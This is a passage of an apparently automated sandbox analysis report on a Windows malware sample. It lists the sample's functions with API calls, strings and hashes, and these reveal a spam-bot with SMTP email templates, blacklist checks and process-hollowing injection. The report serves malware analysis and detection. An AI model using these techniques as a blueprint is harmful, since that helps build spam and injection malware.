Part of subcall function 0040A7A3: inet_ntoa.WS2_32(?), ref: 0040A7A9

wsprintfA.USER32 ref: 0040AE4F
wsprintfA.USER32 ref: 0040AE5E

Part of subcall function 0040EF7C: lstrlenA.KERNEL32(-00000010,00000000,00000080,-00000004,-00000010), ref: 0040EF92
Part of subcall function 0040EF7C: lstrlenA.KERNEL32(?), ref: 0040EF99
Part of subcall function 0040EF7C: lstrlenA.KERNEL32(00000000), ref: 0040EFA0

Strings

127.0.0.1, xrefs: 0040ADEB
%OUTLOOK_BND_, xrefs: 0040AE0F, 0040AE14, 0040AE57, 0040AE76
%OUTLOOK_HST, xrefs: 0040AEC5
%s%d, xrefs: 0040AE58
----=_NextPart_%03d_%04X_%08.8lX.%08.8lX, xrefs: 0040AE49
%04x%08.8lx$%08.8lx$%08x@%s, xrefs: 0040AE9F
%OUTLOOK_MID, xrefs: 0040AEAE

Memory Dump Source

Source File: 00000000.00000002.2077683077.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2077683077.0000000000414000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2IFYYPRUgO.jbxd

Yara matches

Similarity

API ID: lstrlen$Timewsprintf$gethostname$FileLocalSystemgethostbynameinet_ntoalstrcpy
String ID: %04x%08.8lx$%08.8lx$%08x@%s$%OUTLOOK_BND_$%OUTLOOK_HST$%OUTLOOK_MID$%s%d$----=_NextPart_%03d_%04X_%08.8lX.%08.8lX$127.0.0.1
API String ID: 3631595830-1816598006
Opcode ID: ed5774bf6ac078b224cbf22e450ca61793c1c52625b21437799b5f936851b975
Instruction ID: 6edd35ca6b9ca9df7a5a601651cb978d50ba63929d11386258719776c0551fa5
Opcode Fuzzy Hash: ed5774bf6ac078b224cbf22e450ca61793c1c52625b21437799b5f936851b975
Instruction Fuzzy Hash: 0C4123B290030CBBDF25EFA1DC45EEE3BADFF08304F14442BB915A2191E679E5548B55

Function 00402DF2 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 97memorylibrarynetworkCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(iphlpapi.dll,759223A0,?,000DBBA0,?,00000000,00402F0F,?,004020FF,00412000), ref: 00402E01
LoadLibraryA.KERNEL32(iphlpapi.dll,?,00000000,00402F0F,?,004020FF,00412000), ref: 00402E11
GetProcAddress.KERNEL32(00000000,GetNetworkParams), ref: 00402E2E
GetProcessHeap.KERNEL32(00000000,00004000,?,00000000,00402F0F,?,004020FF,00412000), ref: 00402E4C
HeapAlloc.KERNEL32(00000000,?,00000000,00402F0F,?,004020FF,00412000), ref: 00402E4F
htons.WS2_32(00000035), ref: 00402E88
inet_addr.WS2_32(?), ref: 00402E93
gethostbyname.WS2_32(?), ref: 00402EA6
GetProcessHeap.KERNEL32(00000000,?,?,00000000,00402F0F,?,004020FF,00412000), ref: 00402EE3
HeapFree.KERNEL32(00000000,?,00000000,00402F0F,?,004020FF,00412000), ref: 00402EE6

Strings

iphlpapi.dll, xrefs: 00402DFB, 00402E00, 00402E10
GetNetworkParams, xrefs: 00402E28

Memory Dump Source

Source File: 00000000.00000002.2077683077.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2077683077.0000000000414000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2IFYYPRUgO.jbxd

Yara matches

Similarity

API ID: Heap$Process$AddressAllocFreeHandleLibraryLoadModuleProcgethostbynamehtonsinet_addr
String ID: GetNetworkParams$iphlpapi.dll
API String ID: 929413710-2099955842
Opcode ID: ac765a0f8383a0e22933114e4494c8504a9546d168c54e12ec6921eb1cd39c15
Instruction ID: af9ac6d56ee620c8fffc4a8d4b95bbdbc136fdcf8554a1f3230d1ae4f4a52a91
Opcode Fuzzy Hash: ac765a0f8383a0e22933114e4494c8504a9546d168c54e12ec6921eb1cd39c15
Instruction Fuzzy Hash: E3318131A40209ABDB119BB8DD4CAAF7778AF04361F144136F914F72D0DBB8D9819B9C

Function 040C958D Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 284registryCOMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32(?), ref: 040C95A7
GetModuleHandleA.KERNEL32(00000000,?,00000104), ref: 040C95D5
GetModuleFileNameA.KERNEL32(00000000), ref: 040C95DC
wsprintfA.USER32 ref: 040C9635
wsprintfA.USER32 ref: 040C9673
wsprintfA.USER32 ref: 040C96F4
RegOpenKeyExA.ADVAPI32(80000002,00000000,?,?,00000000,00000101,?), ref: 040C9758
RegQueryValueExA.ADVAPI32(?,00000000,?,00000000,?,?,?,?,?,00000000,00000101,?), ref: 040C978D
RegCloseKey.ADVAPI32(?,?,00000000,?,?,?,?,00000000,?,?,?,?,?,00000000,00000101,?), ref: 040C97D8

Strings

PromptOnSecureDesktop, xrefs: 040C9604, 040C9624, 040C9662, 040C9683, 040C96B6, 040C96DF, 040C9701, 040C9734, 040C9780, 040C97B7

Memory Dump Source

Source File: 00000000.00000002.2079287696.00000000040C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40c0000_2IFYYPRUgO.jbxd

Yara matches

Similarity

API ID: wsprintf$Module$CloseFileHandleNameOpenQueryValueVersion
String ID: PromptOnSecureDesktop
API String ID: 3696105349-2980165447
Opcode ID: 0ac1c7cf1312716136e7fb6a36e28e3fd6dbc7c146b39f469b2464a0e942be83
Instruction ID: eaea467d6d11f281b892cf9667d8994298dda968bbca4e77279d02ec0514a8c4
Opcode Fuzzy Hash: 0ac1c7cf1312716136e7fb6a36e28e3fd6dbc7c146b39f469b2464a0e942be83
Instruction Fuzzy Hash: 9FA17EB1940248EFEB21DFA0CC85FDE3BACEB04744F10412AFA15A6191E7B5E5848FA5

Function 0040BE31 Relevance: 18.2, APIs: 6, Strings: 6, Instructions: 152stringCOMMON

Download Yara Rule

APIs

lstrcmpiA.KERNEL32(?,smtp_herr), ref: 0040BE4F
lstrcmpiA.KERNEL32(?,smtp_ban), ref: 0040BE5B
lstrcmpiA.KERNEL32(?,smtp_retr), ref: 0040BE67
lstrcmpiA.KERNEL32(?,smtp_herr), ref: 0040BF6A
lstrcmpiA.KERNEL32(?,smtp_ban), ref: 0040BF7F
lstrcmpiA.KERNEL32(?,smtp_retr), ref: 0040BF94

Strings

86A, xrefs: 0040BF98
06A, xrefs: 0040BF70
46A, xrefs: 0040BF85
smtp_ban, xrefs: 0040BE55, 0040BF77
smtp_retr, xrefs: 0040BE61, 0040BF8C
smtp_herr, xrefs: 0040BE46, 0040BF62

Memory Dump Source

Source File: 00000000.00000002.2077683077.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2077683077.0000000000414000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2IFYYPRUgO.jbxd

Yara matches

Similarity

API ID: lstrcmpi
String ID: 06A$46A$86A$smtp_ban$smtp_herr$smtp_retr
API String ID: 1586166983-142018493
Opcode ID: 5ed1ca685c1a1102e109d808c77f40e9161e989bab58e2ccc029642cf3dec37a
Instruction ID: 5eb9e18a275db8e61a6fe50fd05ed02ec51c2bbb25542f34a2f5cec7b259a8e4
Opcode Fuzzy Hash: 5ed1ca685c1a1102e109d808c77f40e9161e989bab58e2ccc029642cf3dec37a
Instruction Fuzzy Hash: 98519F71A0021AEEDB119B65DD40B9ABBA9EF04344F14407BE845FB291D738E9818FDC

Function 0040B3C5 Relevance: 18.1, APIs: 1, Strings: 11, Instructions: 145COMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0040B467

Part of subcall function 0040EF7C: lstrlenA.KERNEL32(-00000010,00000000,00000080,-00000004,-00000010), ref: 0040EF92
Part of subcall function 0040EF7C: lstrlenA.KERNEL32(?), ref: 0040EF99
Part of subcall function 0040EF7C: lstrlenA.KERNEL32(00000000), ref: 0040EFA0

Strings

%TO_USER, xrefs: 0040B488
%TO_DOMAIN, xrefs: 0040B44B
%FROM_EMAIL, xrefs: 0040B3E9
%FROM_USER, xrefs: 0040B431
%TO_HASH, xrefs: 0040B4B0
%s@%s, xrefs: 0040B461
%FROM_DOMAIN, xrefs: 0040B41E
%DATE, xrefs: 0040B4D2
%M5DATE, xrefs: 0040B50F
%TO_EMAIL, xrefs: 0040B473
%P5DATE, xrefs: 0040B4F2

Memory Dump Source

Source File: 00000000.00000002.2077683077.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2077683077.0000000000414000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2IFYYPRUgO.jbxd

Yara matches

Similarity

API ID: lstrlen$wsprintf
String ID: %DATE$%FROM_DOMAIN$%FROM_EMAIL$%FROM_USER$%M5DATE$%P5DATE$%TO_DOMAIN$%TO_EMAIL$%TO_HASH$%TO_USER$%s@%s
API String ID: 1220175532-2340906255
Opcode ID: f116c43b1eb536776b1bff8e0c8cac67a078ec341982f46d28ec492e3a392109
Instruction ID: bf34ba3998127a8345ca8177a6a798a4e2b1dcf0281bd89f40bace4b7f612c60
Opcode Fuzzy Hash: f116c43b1eb536776b1bff8e0c8cac67a078ec341982f46d28ec492e3a392109
Instruction Fuzzy Hash: CE4174B254011D7EDF016B96CCC2DFFBB6CEF4934CB14052AF904B2181EB78A96487A9

Function 040C1FFD Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 205libraryloaderCOMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32 ref: 040C202D
GetSystemInfo.KERNEL32(?), ref: 040C204F
GetModuleHandleA.KERNEL32(00410380,0041038C), ref: 040C206A
GetProcAddress.KERNEL32(00000000), ref: 040C2071
GetCurrentProcess.KERNEL32(?), ref: 040C2082
GetTickCount.KERNEL32 ref: 040C2230

Part of subcall function 040C1E46: GetComputerNameA.KERNEL32(?,0000000F), ref: 040C1E7C

Strings

localcfg, xrefs: 040C2091, 040C2098, 040C20AB, 040C20E4, 040C20F3, 040C2119, 040C2138, 040C214E, 040C2166, 040C2183, 040C219B, 040C21B7, 040C21D7
work_srv, xrefs: 040C20C5
flags_upd, xrefs: 040C20A5, 040C20AA, 040C20E3
hi_id, xrefs: 040C217D, 040C2182, 040C219A

Memory Dump Source

Source File: 00000000.00000002.2079287696.00000000040C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40c0000_2IFYYPRUgO.jbxd

Yara matches

Similarity

API ID: AddressComputerCountCurrentHandleInfoModuleNameProcProcessSystemTickVersion
String ID: flags_upd$hi_id$localcfg$work_srv
API String ID: 4207808166-1391650218
Opcode ID: a6853c32b60f2cc87b9b05c4564022504dbed896d64d3d62fe446b684c9c1410
Instruction ID: f675bb8d53ad393ea0a11ba1a81fbe21ad2242ad4d6e85ca20181925d01babf7
Opcode Fuzzy Hash: a6853c32b60f2cc87b9b05c4564022504dbed896d64d3d62fe446b684c9c1410
Instruction Fuzzy Hash: B051A3B0900344EFE330AF658C85FAFBAECEB5470CF00495DF996A2542D7B9B58487A5

Function 00402011 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 160COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00402078
GetTickCount.KERNEL32 ref: 004020D4
GetTickCount.KERNEL32 ref: 004020DB
GetTickCount.KERNEL32 ref: 0040212B
GetTickCount.KERNEL32 ref: 00402132
GetTickCount.KERNEL32 ref: 00402142

Part of subcall function 0040F04E: SystemTimeToFileTime.KERNEL32(?,00000000,?,?,?,0040E342,00000000,7508EA50,80000001,00000000,0040E513,?,?,?,?,000000E4), ref: 0040F089
Part of subcall function 0040F04E: GetSystemTimeAsFileTime.KERNEL32(80000001,?,?,?,0040E342,00000000,7508EA50,80000001,00000000,0040E513,?,?,?,?,000000E4,000000C8), ref: 0040F093

Part of subcall function 0040E854: lstrcpyA.KERNEL32(00000001,?,?,0040D8DF,00000001,localcfg,except_info,00100000,00410264), ref: 0040E88B
Part of subcall function 0040E854: lstrlenA.KERNEL32(00000001,?,0040D8DF,00000001,localcfg,except_info,00100000,00410264), ref: 0040E899

Part of subcall function 00401C5F: wsprintfA.USER32 ref: 00401CE1

Strings

rbl_bl, xrefs: 00402181
net_type, xrefs: 004021DF
localcfg, xrefs: 00402070, 00402160, 00402186, 00402194, 004021E4
rbl_ip, xrefs: 0040218F

Memory Dump Source

Source File: 00000000.00000002.2077683077.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2077683077.0000000000414000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2IFYYPRUgO.jbxd

Yara matches

Similarity

API ID: CountTick$Time$FileSystem$lstrcpylstrlenwsprintf
String ID: localcfg$net_type$rbl_bl$rbl_ip
API String ID: 3976553417-1522128867
Opcode ID: e666061d80d691fc6b112011ec25e37af1bccbb964f924a1abaaf546849d61ae
Instruction ID: 2c4ade229706ff5e66d1d9a19171a9bb61e55472092035c31cb102c4d2320628
Opcode Fuzzy Hash: e666061d80d691fc6b112011ec25e37af1bccbb964f924a1abaaf546849d61ae
Instruction Fuzzy Hash: CF51F3706043465ED728EB21EF49B9A3BD4BB04318F10447FE605E62E2DBFC9494CA1D

Function 0040F315 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 103networkCOMMON

Download Yara Rule

APIs

htons.WS2_32(0040CA1D), ref: 0040F34D
socket.WS2_32(00000002,00000001,00000000), ref: 0040F367
closesocket.WS2_32(00000000), ref: 0040F375

Strings

time_cfg, xrefs: 0040F323

Memory Dump Source

Source File: 00000000.00000002.2077683077.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2077683077.0000000000414000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2IFYYPRUgO.jbxd

Yara matches

Similarity

API ID: closesockethtonssocket
String ID: time_cfg
API String ID: 311057483-2401304539
Opcode ID: 685126c5453265c7bff9625bd6507709e61d04640598cf9eaa2582fbc6c48842
Instruction ID: 30084693e0db7c5d018f03cf39b97fa82366a7d059792586ebb4172a1a3c68ff
Opcode Fuzzy Hash: 685126c5453265c7bff9625bd6507709e61d04640598cf9eaa2582fbc6c48842
Instruction Fuzzy Hash: AA319E72900118ABDB20DFA5DC859EF7BBCEF88314F104176F904E3190E7788A858BA9

Function 0040C2DC Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 182threadCOMMON

Download Yara Rule

APIs

Part of subcall function 0040A4C7: GetTickCount.KERNEL32 ref: 0040A4D1
Part of subcall function 0040A4C7: InterlockedExchange.KERNEL32(?,00000001), ref: 0040A4FA

GetTickCount.KERNEL32 ref: 0040C31F
GetTickCount.KERNEL32 ref: 0040C32B
GetTickCount.KERNEL32 ref: 0040C363
GetTickCount.KERNEL32 ref: 0040C378
GetTickCount.KERNEL32 ref: 0040C44D
InterlockedIncrement.KERNEL32(0040C4E4), ref: 0040C4AE
CreateThread.KERNEL32(00000000,00000000,0040B535,00000000,?,0040C4E0), ref: 0040C4C1
CloseHandle.KERNEL32(00000000,?,0040C4E0,00413588,00408810), ref: 0040C4CC

Strings

localcfg, xrefs: 0040C2DD

Memory Dump Source

Source File: 00000000.00000002.2077683077.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2077683077.0000000000414000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2IFYYPRUgO.jbxd

Yara matches

Similarity

API ID: CountTick$Interlocked$CloseCreateExchangeHandleIncrementThread
String ID: localcfg
API String ID: 1553760989-1857712256
Opcode ID: afac293e63498dd1283f128a7be93ce9089d2193a9ff6ee31ee25d998cb0b475
Instruction ID: d79c9f10581ee3273b6165e92ba068ddd4f199cf4cd09fd02743c11af2233124
Opcode Fuzzy Hash: afac293e63498dd1283f128a7be93ce9089d2193a9ff6ee31ee25d998cb0b475
Instruction Fuzzy Hash: 0E515CB1A00B41CFC7249F6AC5D552ABBE9FB48304B509A3FE58BD7A90D778F8448B14

Function 040C3059 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 97memorylibrarynetworkCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(iphlpapi.dll), ref: 040C3068
LoadLibraryA.KERNEL32(iphlpapi.dll), ref: 040C3078
GetProcAddress.KERNEL32(00000000,00410408), ref: 040C3095
RtlAllocateHeap.NTDLL(00000000), ref: 040C30B6
htons.WS2_32(00000035), ref: 040C30EF
inet_addr.WS2_32(?), ref: 040C30FA
gethostbyname.WS2_32(?), ref: 040C310D
HeapFree.KERNEL32(00000000), ref: 040C314D

Strings

iphlpapi.dll, xrefs: 040C3062, 040C3067, 040C3077

Memory Dump Source

Source File: 00000000.00000002.2079287696.00000000040C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40c0000_2IFYYPRUgO.jbxd

Yara matches

Similarity

API ID: Heap$AddressAllocateFreeHandleLibraryLoadModuleProcgethostbynamehtonsinet_addr
String ID: iphlpapi.dll
API String ID: 2869546040-3565520932
Opcode ID: 1e8713dd52c6e8bc37e9b2497aa4af782d9b250ffd42f9daf4508d8acafa4540
Instruction ID: aa46a39942c74a1c1cabb739e6ab3cfc566768f65814690e3f311a45f97665ed
Opcode Fuzzy Hash: 1e8713dd52c6e8bc37e9b2497aa4af782d9b250ffd42f9daf4508d8acafa4540
Instruction Fuzzy Hash: 6D31B631A10206EFDB519FB89C48AAE77F8EF45760F14C129ED18F72A0DB74E5818B58

Function 00402D21 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 85memorylibrarystringCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(00000000,759223A0,?,00000000,00402F01,?,004020FF,00412000), ref: 00402D3A
LoadLibraryA.KERNEL32(?), ref: 00402D4A
GetProcAddress.KERNEL32(00000000,DnsQuery_A), ref: 00402D61
GetProcessHeap.KERNEL32(00000000,00000108,000DBBA0), ref: 00402D99
HeapAlloc.KERNEL32(00000000), ref: 00402DA0
lstrcpynA.KERNEL32(00000008,?,000000FF), ref: 00402DCB

Strings

DnsQuery_A, xrefs: 00402D5B
dnsapi.dll, xrefs: 00402D29

Memory Dump Source

Source File: 00000000.00000002.2077683077.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2077683077.0000000000414000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2IFYYPRUgO.jbxd

Yara matches

Similarity

API ID: Heap$AddressAllocHandleLibraryLoadModuleProcProcesslstrcpyn
String ID: DnsQuery_A$dnsapi.dll
API String ID: 3560063639-3847274415
Opcode ID: d4096c20dd1105e3ef32148a9c5654c80b560ad64ac552135804a6a2b7bfb5e3
Instruction ID: e5e1ee734cbcfb8ca4eff609f7c37a2f42b45bda1feb54b0ffc2340cedddb21a
Opcode Fuzzy Hash: d4096c20dd1105e3ef32148a9c5654c80b560ad64ac552135804a6a2b7bfb5e3
Instruction Fuzzy Hash: 25214F7190022AABCB11AB55DD48AEFBBB8EF08750F104432F905B7290D7F49E8587D8

Function 00406CC9 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 84libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32,GetSystemWow64DirectoryA,PromptOnSecureDesktop,000000E4,00406DDC,000000C8), ref: 00406CE7
GetProcAddress.KERNEL32(00000000), ref: 00406CEE
GetSystemDirectoryA.KERNEL32(C:\Windows\SysWOW64\,00000104), ref: 00406D14
GetWindowsDirectoryA.KERNEL32(C:\Windows\SysWOW64\,00000104,?,00000000), ref: 00406D2B

Strings

GetSystemWow64DirectoryA, xrefs: 00406CDD
PromptOnSecureDesktop, xrefs: 00406CDC, 00406D36, 00406D58, 00406D68, 00406D7E, 00406D8E
C:\Windows\SysWOW64\, xrefs: 00406CC9, 00406CD1, 00406CFE, 00406D05, 00406D13, 00406D1E, 00406D2A, 00406D42, 00406D5F, 00406D85
kernel32, xrefs: 00406CE2

Memory Dump Source

Source File: 00000000.00000002.2077683077.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2077683077.0000000000414000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2IFYYPRUgO.jbxd

Yara matches

Similarity

API ID: Directory$AddressHandleModuleProcSystemWindows
String ID: C:\Windows\SysWOW64\$GetSystemWow64DirectoryA$PromptOnSecureDesktop$kernel32
API String ID: 1082366364-2834986871
Opcode ID: 174e8731fdbdc44ab974895aa40a4ab233de6b35a5efa5658db69bb206ac9e39
Instruction ID: 283af98db633f334a3c96cb566aa979ace8a56c3c0d7b64ee1e11c7fdc897f47
Opcode Fuzzy Hash: 174e8731fdbdc44ab974895aa40a4ab233de6b35a5efa5658db69bb206ac9e39
Instruction Fuzzy Hash: AC21F26174034479F72157225D89FF72E4C8F52744F19407AF804B62D2CAED88E582AD

Function 0040977C Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 82threadinjectionprocessCOMMON

Download Yara Rule

APIs

CreateProcessA.KERNEL32(00000000,00409947,00000000,00000000,00000000,00000004,00000000,00000000,?,?,?,?,PromptOnSecureDesktop), ref: 004097B1
GetThreadContext.KERNEL32(?,?,?,?,?,?,?,PromptOnSecureDesktop), ref: 004097EB
TerminateProcess.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,PromptOnSecureDesktop), ref: 004097F9
WriteProcessMemory.KERNEL32(?,?,?,00000004,00000000,?,?,?,?,?,?,?,?,?,PromptOnSecureDesktop), ref: 00409831
SetThreadContext.KERNEL32(?,00010002,?,?,?,?,?,?,?,?,?,PromptOnSecureDesktop), ref: 0040984E
ResumeThread.KERNEL32(?,?,?,?,?,?,?,?,?,?,PromptOnSecureDesktop), ref: 0040985B

Strings

PromptOnSecureDesktop, xrefs: 00409785
D, xrefs: 004097A9

Memory Dump Source

Source File: 00000000.00000002.2077683077.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2077683077.0000000000414000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2IFYYPRUgO.jbxd

Yara matches

Similarity

API ID: ProcessThread$Context$CreateMemoryResumeTerminateWrite
String ID: D$PromptOnSecureDesktop
API String ID: 2981417381-1403908072
Opcode ID: bfc8fb38e21afcc8978dd871529b03129cc6a272bb135abfd583736d5c6f917f
Instruction ID: 6dc29e085b1385aad622296cf5a9b119a202239bcf48ce0aeeb22bf7d7f748db
Opcode Fuzzy Hash: bfc8fb38e21afcc8978dd871529b03129cc6a272bb135abfd583736d5c6f917f
Instruction Fuzzy Hash: 54216DB2901119BBDB119FA1DC49EEF7B7CEF05750F004071B909F2191EB759A44CAA8

Function 040C6778 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 182COMMON

Download Yara Rule

APIs

IsBadReadPtr.KERNEL32(?,00000008), ref: 040C67C3
htonl.WS2_32(?), ref: 040C67DF
htonl.WS2_32(?), ref: 040C67EE
GetCurrentProcess.KERNEL32(00000000,?,?,00000000,00000000,00000000,00000000), ref: 040C68F1
ExitProcess.KERNEL32 ref: 040C69BC

Strings

localcfg, xrefs: 040C6994
except_info, xrefs: 040C698F

Memory Dump Source

Source File: 00000000.00000002.2079287696.00000000040C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40c0000_2IFYYPRUgO.jbxd

Yara matches

Similarity

API ID: Processhtonl$CurrentExitRead
String ID: except_info$localcfg
API String ID: 1430491713-3605449297
Opcode ID: 9895dd2e79d38ff6447f40a868429f3d8bfef7524ed1ea596fca3f6cba339201
Instruction ID: 216136ff6603d2bf8235ea88d43ea8573145ca6256753fe9270036342acf11d7
Opcode Fuzzy Hash: 9895dd2e79d38ff6447f40a868429f3d8bfef7524ed1ea596fca3f6cba339201
Instruction Fuzzy Hash: 8F618F71A40208EFDB609FA4DC45FEA77E9FB08300F14846AFA6DD2161EA75A980CF54

Function 040CF57C Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 103networkCOMMON

Download Yara Rule

APIs

htons.WS2_32(040CCC84), ref: 040CF5B4
socket.WS2_32(00000002,00000001,00000000), ref: 040CF5CE
closesocket.WS2_32(00000000), ref: 040CF5DC

Strings

time_cfg, xrefs: 040CF58A

Memory Dump Source

Source File: 00000000.00000002.2079287696.00000000040C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40c0000_2IFYYPRUgO.jbxd

Yara matches

Similarity

API ID: closesockethtonssocket
String ID: time_cfg
API String ID: 311057483-2401304539
Opcode ID: 35ab9fe366417f7a0644d99ffa926dabfa0554eb5add049d4f688aed03fde98e
Instruction ID: 1e185fd6c9679ae8438c85ddb1e113a5e0e15678450905f1ef0ff8c8d6760455
Opcode Fuzzy Hash: 35ab9fe366417f7a0644d99ffa926dabfa0554eb5add049d4f688aed03fde98e
Instruction Fuzzy Hash: 7F317E71900119ABDB10DFA5DC84DEE7BBDEF48354F10456AFA05E3190E7709A818BA6

Function 00406F5F Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 89COMMON

Download Yara Rule

APIs

GetUserNameA.ADVAPI32(?,0040D7C3), ref: 00406F7A
LookupAccountNameA.ADVAPI32(00000000,?,?,?,?,?,0040D7C3), ref: 00406FC1
ConvertSidToStringSidA.ADVAPI32(?,00000120), ref: 00406FE8
LocalFree.KERNEL32(00000120), ref: 0040701F
wsprintfA.USER32 ref: 00407036

Strings

/%d, xrefs: 00407030
|, xrefs: 00406FB3

Memory Dump Source

Source File: 00000000.00000002.2077683077.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2077683077.0000000000414000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2IFYYPRUgO.jbxd

Yara matches

Similarity

API ID: Name$AccountConvertFreeLocalLookupStringUserwsprintf
String ID: /%d$|
API String ID: 676856371-4124749705
Opcode ID: a4e95b79f46088df25ad898cee238acd61ae00be348fc6b2bdbab1b8b404bd7d
Instruction ID: 25602f0bb6ce76eb5d01febd46d0227a680cec7408ef54ec30c82d1084126da1
Opcode Fuzzy Hash: a4e95b79f46088df25ad898cee238acd61ae00be348fc6b2bdbab1b8b404bd7d
Instruction Fuzzy Hash: B5313C72900209BFDB01DFA5DC45BDB7BBCEF04314F048166F949EB241DA79EA588B98

Function 040C2F88 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 85memorylibrarystringCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?), ref: 040C2FA1
LoadLibraryA.KERNEL32(?), ref: 040C2FB1
GetProcAddress.KERNEL32(00000000,004103F0), ref: 040C2FC8
GetProcessHeap.KERNEL32(00000000,00000108), ref: 040C3000
RtlAllocateHeap.NTDLL(00000000), ref: 040C3007
lstrcpyn.KERNEL32(00000008,?,000000FF), ref: 040C3032

Strings

dnsapi.dll, xrefs: 040C2F90

Memory Dump Source

Source File: 00000000.00000002.2079287696.00000000040C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40c0000_2IFYYPRUgO.jbxd

Yara matches

Similarity

API ID: Heap$AddressAllocateHandleLibraryLoadModuleProcProcesslstrcpyn
String ID: dnsapi.dll
API String ID: 1242400761-3175542204
Opcode ID: 7f5d185b3cfc49c95be658a26291c7e098e834ef0b89546cb75d65dd2dad2050
Instruction ID: c07665e0d6c915bd2b36ab20b2953702bc4781a1901512c5985bc014eaa40c76
Opcode Fuzzy Hash: 7f5d185b3cfc49c95be658a26291c7e098e834ef0b89546cb75d65dd2dad2050
Instruction Fuzzy Hash: 56219272900629FBCB219F94DC449EEBBB8EF08B10F108469F901F7540D7B4AA819BD4

Function 00406BA7 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 84COMMON

Download Yara Rule

APIs

IsBadCodePtr.KERNEL32 ref: 00406BB2

Strings

PromptOnSecureDesktop, xrefs: 00406BC0

Memory Dump Source

Source File: 00000000.00000002.2077683077.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2077683077.0000000000414000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2IFYYPRUgO.jbxd

Yara matches

Similarity

API ID: Code
String ID: PromptOnSecureDesktop
API String ID: 3609698214-2980165447
Opcode ID: 39c3a5a53f78f07926ecb9a894269625e93d17a87676cf1a9de91011702fa4cf
Instruction ID: deae59b9a6c18e17a8054c2740d34a6eafe128a66e3352cd220e92de8f8b68f4
